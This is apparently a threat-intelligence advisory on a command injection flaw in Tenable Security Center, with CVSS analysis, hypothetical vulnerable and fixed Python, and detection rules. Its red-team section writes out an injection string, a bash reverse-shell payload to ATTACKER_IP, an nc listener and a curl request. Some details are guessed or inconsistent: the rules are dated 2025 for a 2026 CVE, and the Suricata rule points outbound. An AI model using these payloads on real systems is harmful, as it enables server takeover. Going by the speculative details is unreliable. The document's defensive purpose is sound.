CVE-2026-2630

Executive Summary

CVE-2026-2630 is a critical Command Injection vulnerability in Tenable Security Center. An authenticated, remote attacker can exploit this flaw to execute arbitrary operating system commands on the underlying server hosting the Tenable Security Center application. With a CVSS score of 8.8, this vulnerability poses a severe risk to confidentiality, integrity, and availability. The attack vector is network-based, requires low complexity, and only low-level privileges, but no user interaction. Successful exploitation could lead to full server compromise, data exfiltration, and lateral movement within the network. As of this report, no official patch has been released, and no public proof-of-concept (PoC) code is available.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs valid credentials.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Vulnerability and impacted component are the same.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Full system modification possible.
• Availability (A): High (H) – Full system disruption possible.

Threat Level: Critical. The combination of remote exploitability, low privileges, and high impact makes this a top-priority vulnerability for any organization using Tenable Security Center.

Deep Dive & Mechanics

The vulnerability resides in the Tenable Security Center web application, likely within a feature that processes user-supplied input without proper sanitization. The application passes this input to a system shell or command execution function, allowing an authenticated attacker to inject arbitrary commands.

Attack Flow:

1. Authentication: The attacker must first authenticate to the Tenable Security Center web interface with valid credentials (e.g., a low-privileged user account).
2. Input Injection: The attacker identifies an input field (e.g., a search box, report generation parameter, or API endpoint) that is used to construct a system command.
3. Command Injection: The attacker injects shell metacharacters (e.g., ;, |, &&, `) followed by malicious commands.
4. Execution: The injected commands are executed on the underlying server with the privileges of the Tenable Security Center process (typically a service account with elevated rights).
5. Post-Exploitation: The attacker can then install backdoors, exfiltrate vulnerability scan data, pivot to other systems, or disrupt operations.

Root Cause: The application fails to properly validate or sanitize user input before using it in a system command. This is a classic CWE-77 (Improper Neutralization of Special Elements used in a Command).

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern.

Vulnerable Code (Hypothetical):

import subprocess
import os

def generate_report(report_name):
    # User-supplied report_name is directly concatenated into a command
    command = "report_generator --name " + report_name + " --output /tmp/report.pdf"
    subprocess.call(command, shell=True)

Patched Code (Hypothetical):

import subprocess
import shlex

def generate_report(report_name):
    # Use shlex.quote to safely escape the input
    safe_name = shlex.quote(report_name)
    command = "report_generator --name " + safe_name + " --output /tmp/report.pdf"
    subprocess.call(command, shell=True)

The patched version uses shlex.quote() to escape shell metacharacters, preventing injection. Alternatively, the application could avoid using shell=True and pass arguments as a list.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Environment: Deploy a vulnerable Tenable Security Center instance (version unknown) in an isolated lab network.
2. Access: Obtain low-privileged credentials (e.g., user:password).
3. Tooling: Use Burp Suite, curl, or a custom Python script.

Exploitation Steps:

1. Authenticate: Log in to the Tenable Security Center web interface.
2. Identify Injection Point: Intercept a request that generates a report or performs a search. Look for parameters like name, query, or id.
3. Inject Command: Modify the parameter value to include a command injection payload. For example:

   name=test;id
   

4. Observe Output: If the response includes the output of the id command (e.g., uid=1000(tenable)), the injection is successful.
5. Escalate: Execute a reverse shell payload:

   name=test;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
   

6. Catch Shell: On the attacker machine, run nc -lvnp 4444 to receive the shell.

Example curl command:

curl -X POST "https://TARGET_SC/report" \
  -H "Cookie: session=VALID_SESSION" \
  -d "name=test;id"

Blue Team (Defensive)

Detection & Response:

1. Monitor Authentication Logs: Look for unusual login patterns or brute-force attempts.
2. Analyze Web Logs: Search for requests containing shell metacharacters (;, |, &&, `) in parameters.
3. Endpoint Detection: Monitor for unexpected child processes spawned by the Tenable Security Center service (e.g., cmd.exe, /bin/sh, bash).
4. Network Monitoring: Detect outbound connections to unknown IPs on unusual ports (e.g., 4444).
5. Honeypot: Deploy a decoy Tenable Security Center instance to capture attacker behavior.

Immediate Mitigation:

• Restrict network access to the Tenable Security Center web interface (e.g., VPN only).
• Enforce strong authentication and multi-factor authentication (MFA).
• Monitor for anomalous command execution using EDR tools.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2026_2630_Command_Injection {
    meta:
        description = "Detects command injection attempts against Tenable Security Center"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-2630"
    strings:
        $injection1 = /[;&|`$]/ nocase
        $injection2 = /bash -i/ nocase
        $injection3 = /cmd.exe/ nocase
        $injection4 = /powershell/ nocase
    condition:
        any of ($injection*) and filesize < 10KB
}

Sigma Rule

title: CVE-2026-2630 Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with command injection payloads targeting Tenable Security Center
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
            - '$(('
    condition: selection
falsepositives:
    - Legitimate use of special characters in report names (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-2630 - Tenable Security Center Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/report"; http_uri;
    pcre:"/[;&|`]/i";
    sid:1000001;
    rev:1;
    reference:cve,2026-2630;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate: If possible, disconnect the Tenable Security Center from the network or restrict access to trusted IPs only.
2. Monitor: Implement the detection rules above and review logs for signs of exploitation.
3. Harden: Apply the principle of least privilege to the service account running Tenable Security Center.

Long-Term Fix:

• Patch: Await an official patch from Tenable. Apply it immediately upon release.
• Code Review: If source code is available, audit all command execution functions for proper input sanitization.
• Upgrade: Consider migrating to a more secure vulnerability management platform if Tenable fails to patch in a timely manner.

Workaround:

• Implement a Web Application Firewall (WAF) rule to block requests containing shell metacharacters in parameters.
• Disable any unnecessary features that accept user input and execute system commands.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert